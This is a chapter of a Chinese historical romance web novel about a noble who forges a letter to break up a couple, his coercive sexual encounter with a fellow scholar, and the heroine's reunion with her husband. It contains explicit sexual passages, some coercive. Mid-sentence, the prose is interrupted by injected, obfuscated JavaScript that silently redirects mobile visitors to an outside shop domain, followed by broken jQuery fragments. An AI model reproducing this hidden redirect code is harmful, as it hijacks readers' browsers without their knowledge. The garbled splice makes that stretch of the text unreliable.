此后颇长一段畅饮交谈,潘羽都少有出声,仿佛受了极大的不平,闷头只顾饮酒,却也不让陆卓皓猜出他心中落魄,两人倒反了过来,一个换话为酒,一个换酒为话。
陆卓皓又是好长一段憋闷话:“早前还是潘兄说起裴太尉佩戴破烂的半块玉珏,在宴上被众宾客明里暗里讥笑一事,想来既是潘兄岳父亲口所说,那必是不掺假的,当时我只当个笑料听,后来在荆州李家的酒宴上,贤云同徐昴一块儿前来赴宴。”
“酒至半酣,我与贤云提前离席相聚,忽见了晞婵,贤云迎出去,我才知晞婵的外祖母家竟是荆州苏家,苏贤云是她亲表兄。”他不知在回味什么,眸光暗闪了下。
脸上酡红色愈来愈深,陆卓皓悄悄打量了眼茶案的高度,假装整理衣摆,伸下手去,见潘羽又是仰头一杯下肚,没注意来,他当即不管不顾地握住灼热似冒火的东西,闷声一个忍不住,指上掌心登时粘稠一片。
他低头盯着那些污秽,眯了眯目,若有所思。
潘羽神魂恍惚地盯着陆卓皓瞧,只当他心中郁闷太甚,劝了陆卓皓一杯酒,继续听下去:“当时我心中已有晞婵,听贤云说起,自是想多问些,又见那香盒,便问起裴度,这才知道晞婵与此人,竟是青梅竹马。”
潘羽道:“是了,和随侯大婚前,她要嫁裴太尉来着。”
“后来偶有一日,我醉酒闯入她房中,但因惧我表哥发怒,没敢动她。”
那厢潘羽听此,心中暗是鄙夷,面上却不露声色,直道:“遗憾遗憾,否则今日陆兄的家中娇儿,该是那晞婵了。”
陆卓皓被哄的后悔不已,索性一股脑儿全说了:“走时我瞧她房里搁着半块玉珏,当时不怎么在意,可后来一想,哪有这么巧的事?两人同在豫州府长大,又碰巧都爱留着奇怪的半块玉珏?莫不是一块?”
此话一出,潘羽正因方才真相而耿耿于怀,反恨上李覃,听此忙起了兴致,急于向陆卓皓打听:“听陆兄此言,再联系他们二人的纠葛,难不成晞婵背叛过君侯?”
“这谁知道,”陆卓皓只冷笑,自嘲道,“厉害的人物都围着她晞婵转,自古英雄爱美人的道理,倒被她体现了个淋漓尽致。”
“可不是,谁不想得到晞婵呢?”
“潘兄此话何意?”陆卓皓阴晴不定地反冲他冷了态度,潘羽只得连连道不是。
陆卓皓不屑瞪了潘羽一眼,边咽下烈酒,边得意道:“她不愿嫁我,表哥宁愿挡下整个陆家,也要护着她,那日我去寻她,又被李甄窈那个死丫头羞辱一番,一时气急,想出个好法子来。”
潘羽接道:“什么好法子?不妨说来听听,以后兄弟有了心悦的女郎,也好一追,看到手不到手。”
“我伪造了一封信,让人偷拿出晞婵的半块玉珏,染上印泥盖了印,裴太尉佩戴破烂玉珏的笑话,不怕表哥只句未闻,他那边的消息,可是比谁都灵通。”
“末了,我又命人伺机侯在门外,只说是建业的信,给晞婵送来,果然在暗中窥见表哥他心生怀疑,接过信亲送过去,到了院外忽然转进去竹林,”他大笑几声,仿佛痛快极了,半晌,又半愁半嘲地低声道,“连表哥都有此疑虑,晞婵与那裴太尉,怎会没有私情呢?”
他嘀咕的仿若自言自语,潘羽没听清,再问,对面失魂落魄的公子哥儿却是死活也不肯重说了。
潘羽悄悄打量他两眼,弯唇漫不经心地笑道:“陆兄到底想说什么?”
“我想说什么,还不够明显吗?”陆卓皓仰面躺下,也不管地上凉不凉,摊开四肢,慢慢把话说的更清楚些:“裴太尉在建业风声正起,信内我也胡编乱造了一箩筐男女诉衷肠的私事,更是参考贤云同我讲过的那些往事,真如事实,表哥不信才怪。我想着,他既然信了,凭他那说一不二自尊心极强的性子,一定不会放过晞婵,换言之,就不会再护着她了。”
“到那时,表哥自是不会为了此女不顾陆家,我娶她,哪怕是逼迫,还不容易?”
潘羽听罢,心中又是一顿鄙夷,直觉此人歪风邪气,极为不入流。
但他也不表现,反笑称赞:“陆兄果真聪明,我闻随侯不仅不顾晞婵,还叫那姚崇给了兵符与陆家,以大军前去好让穆廷年不得已交出女儿,逼婚的阵仗,我与众同窗聊起时,都觉前所未闻,正自古怪,原是还有这样一番纠葛,竟是陆兄从中作梗。”
他一杯酒敬了过去,连说几句“甘拜下风”。
“怪不得随侯如此不留情面,看来是以为晞婵背叛了自己!也是,他那样的人物,怎能容忍?”
陆卓皓回敬一满杯,得意之色尽显。
然转眼间,他又蔫了下来,黯然道:“只可惜用计不成,反不得已娶了林纤。”
潘羽转了转眼珠子,笑一笑问道:“先不说这个,陆兄接下来打算怎么做?”
“当然是休了林纤!”
“如何休得?她在荆州呢。”
陆卓皓思忖半晌,道:“那我也去荆州,反正家父随我胡闹,便是去让姑母做个见证,也没错的。”
“我看陆兄这是想见晞婵姑娘了吧?”潘羽很是刻意地揶揄笑道。
哪知陆卓皓这时莫名酒醒了大半,听了只摆手:“心中有她,只归暗自有着,也只说给潘兄罢了,如今我是如何也不敢跟表哥抢人了,你是不知,表哥有多宠爱此女。”
“怎样宠的?让我听来学上一二,也算有几分英雄气概。”
“还消多说?你没见晞婵好好的在李家待着?即便如此,都能毫发无损,恩宠不减。”陆卓皓轻嗤道。
“这......晞婵着实美。”
陆卓皓没心思掰扯李覃与自己心上人的好事,倏地踉跄站起身来,携了杯酒,走去弯身递在潘羽嘴边,意味深长地笑喂他道:“潘兄也甚美。”
潘羽抬手就是推拒,又半路打住,阖眸忍着脸红,被身后站着的男人喂得流了一脖子酒水。
喉结滚动间,他暗自悲愤地一咬牙,茶杯边沿硬是硌着牙齿。
那身素白的衣袍,染上酒污,那厢男人手上动作又极为强势逼迫,潘羽咳了两声,状似柔弱不能自理。跽坐的身子早就歪在一旁,后脑勺靠在陆卓皓身上。
“潘兄如今名满天下,不会忘了我这个慧眼识珠的幕后推手吧?”
潘羽讽道:“陆兄多虑了。”
蠢材!
虽说他的名气是托陆卓皓在背后打扬出的,但也得要真材实料,他走到今日这般地位,靠的是自己!
潘家虽为书香世家,但无奈他却是个笨脑的,为此父伯兄弟没少欺嘲于他,好不容易刻苦攻读,到了开窍时候,挥笔成就一篇《楚江送霸王》,自觉高人一等,只苦于没名没气,无人赏识,家中更是不放在眼里。
他就是这时找上昔日同窗陆卓皓的。
果然不费吹灰之力就把他捧到了如今地位。
有李家陆家这两棵大树靠着,人脉又广,要说不羡慕陆公子的头衔势力,才是假的。
奈何虽勾结委身于陆卓皓这等让自己瞧不上的人,但此人风流却有满腹文采,积累是他无论如何也赶不上的,只他们陆家习惯低调,陆卓皓为人行事也低调着来,才不像他今时这般出名罢了。
只有他自己知道,连这个在他身上掌控的,甚至风流成性的男人,他引以为傲的东西,在此人面前也会碎了一地。
这要他如何不嫉妒?
刻苦攻读,却不及他陆公子游刃有余。
论家世背景,他更是比不过。
陆卓皓站着没动,只有潘羽转过身,改成跪的,只懊悔没有回头路,开始气节失了的那刻,他就再没法主动停止了。
过了几个时辰,潘羽衣衫不整地躺在茶案上,待那人抽身,茶案才止住不往后移。他快撑不住了,陆卓皓简直是个禽兽。
那边陆卓皓见他虚弱,却是兴奋:“荆州我是要去的,听伯父说,过些时日你要去荆州取一把古琴?也好,你陪我去,路上也不寂寞,待到了,何不一同去瞧瞧贤云。”
潘羽心中极是恶苦,无奈说不出话来,只得点头喘嗯。
两屏风遮挡,陆卓皓不知的是,他走后,潘羽直接吐了出来。
——他并没同袖之好。
......
天色渐深,一团团的乌云聚拢在李府上方,暴雨将至。
又是个雷雨天。
窗边的美人榻上,晞婵望过夜色,低头捏着笔杆继续在竹简上写着什么,神态认真。
婉娘轻手轻脚地走进来,把手上的披风好生搭在晞婵肩上,理了理,才瞧了眼那竹简,笑劝道:“天凉,女君明日再写也不碍事,君侯今晚上回,若是摸出女君手脚冰凉,又该埋怨老妪这些人伺候不周了。”
“婉娘......”晞婵脸颊涨红地嗔了声。
这都哪跟哪。
婉娘忙笑说自己的不是,关好了窗,退出去吩咐值守伺候的众仆妇都准备着些,见君侯归来,该有眼色悄走开的就都回去待着,一面领人去浴房备上热水。
听见外面的忙碌,晞婵把头靠在窗沿,望着摇曳摆动的温暖烛火,心中便有思索,一双顾盼生辉的潋滟美眸,眨动间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489602|136885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
皆是不可仿效的神态。
细细算来,李覃走了旬日有余,除了那封报平安的信,两人并无通音。
没嫁人前,她自己睡夜深也不觉寒冷,成婚了一段日子,夜夜抱着他取暖,竟被惯养的娇气不少,自个儿睡总觉得少了什么,又觉寒气,又是怕秋雷的。
晞婵失神望向那暖帐,迟迟未再下笔,心事忽然缠上胸口,略微发堵。
离冬至日越来越近了。
说不上什么感受,只有些惘然罢了。她愣了会儿,不觉将思绪扯远了些,想起穆尧与雪映来。
又想到李甄窈。
假若李覃没有攻打豫州,她没理由走,只可惜没有第二选择,事实就是如此。在他眼中,父兄轻如鸿毛,她也没有能让他随侯手下留情,在涉及宏图与利益时站在自己这边。
即便他不说,贾公他们也守口如瓶,事情的本质却并没困扰她多久。
这还有悬念吗?
为外祖父的念想,竟把姚崇兵符牵扯出来,荒唐又不可信。然攻打豫州不多时,姚崇军忽然转道顺势攻起与豫州相邻的徐州,倒像早有准备,一路势如破竹,兵分三路逐步瓦解控制徐州,要说这么大的阵仗,又顺利行进,没有提前准备,她是不信的。
徐州地处要塞,但凡势大有野心的,都会盯紧不放。李覃若是攻下徐州,只会势不可挡。
更何况她清楚地知道,李覃图谋徐州已经不是一年两年了,只一直寻不到合适的时机。
如此一来,为何仅仅一个逼婚,竟能出动姚崇的兵符,甚至大军压境,原因当是分明。若没猜错,应是障眼法。
他是没真要攻打豫州,但利用试探之意明显。如若放心,他大可与主动修好的父兄联手合谋,但父兄却被蒙在鼓里,连她也被蒙在鼓里,不出意外,是在试探父兄底线与忠心。
只低估了父兄的气性,反造成了今日敌对的局面。
李覃以为她想不到,只被他的薄情迷蒙双眼,但其中的兵家计谋,她并非丝毫觉察不出。
只是没有确定之前,她不好妄下定论。
这件事她想明白有些时候了,裴二哥说出冬至日焦林时,她其实也正有此意,否则两军交战,她如何肯站在李覃这边,以妻自居,眼睁睁看着父兄危难?
反过来,即便父兄得势,她也做不到亲眼看着李覃危难。
她若不走,怎样都是两难。
倒不如离开他,回了豫州,只当两人从未相识。不叫他为难,也不叫自己为难。
然而。
日子渐渐久了,李覃的无微不至,时不时就会冲袭她的心神,即使不后悔做出的决定,也会闷闷不乐,终日心事缠绕。
若是不理解他,心中没有他也就罢了。
无奈既理解他的雄心壮志,又深知李覃对自己的真情,要她如何不多想呢?
窗纸上慢慢地映出另一道身影。
比她高大许多。
不及回头,晞婵身上已被环住,裹挟着外面寒气的熟悉气息贴近,晞婵忽地一怔,下意识没有惊慌,而是侧了侧头。
“在等孤?”
她微微张了红唇,欲要说些什么,却被李覃低头堵住话音,就那么站着捏抬起那张带有几分茫然与惊喜的小脸,从后一言不发地吻起还在榻上斜靠着身子的晞婵。
他是跪伸上来一条腿,才半弯着身倾近过来的,将她压在窗边墙上,一手撑着窗框,一手急不可耐地握揉起来,似是想念迫切,呼吸沉促,眼睛也不闭上,而是垂眸晦暗不明地凝视着她的羞态。
晞婵软脱了力气,靠在那已是温热的墙上摇摇欲坠,灯烛照着,旁边就是两道黑乎乎的交缠身影,她无意瞥见,将上面男人如何动作,自己又是如何躲避求缓的姿态看个清楚,她的声音更含糊了。
晞婵低低地唤他一声,难为情道:“夫君......你还没沐浴呢。”
“待会儿就去。”李覃应道。见他在看,晞婵不觉并起搁在他肩上的双腿,待他抬起头,晞婵想说他什么,又觉许久未见,一时说不上满腹的想念话,也只这样,千言万语仿佛都聚在他的渴求中,她不禁咽下羞耻的提醒,低低唤他“夫君”。他拉起暗自轻轻调息的晞婵,怜惜地强忍着只磨蹭排解,正是想念的紧,一进去定是不受控狠欺她不停,他身上还有寒气,染得她着凉就不好了,李覃让她依偎在怀里不受窗缝钻进来的凉气,忽然说了句话:“这次倒赶回的及时。”
“夫君有事?”
“无事,只今夜雷雨。”
晞婵怔了下,抬眸瞧见他眼底若有若无的深意。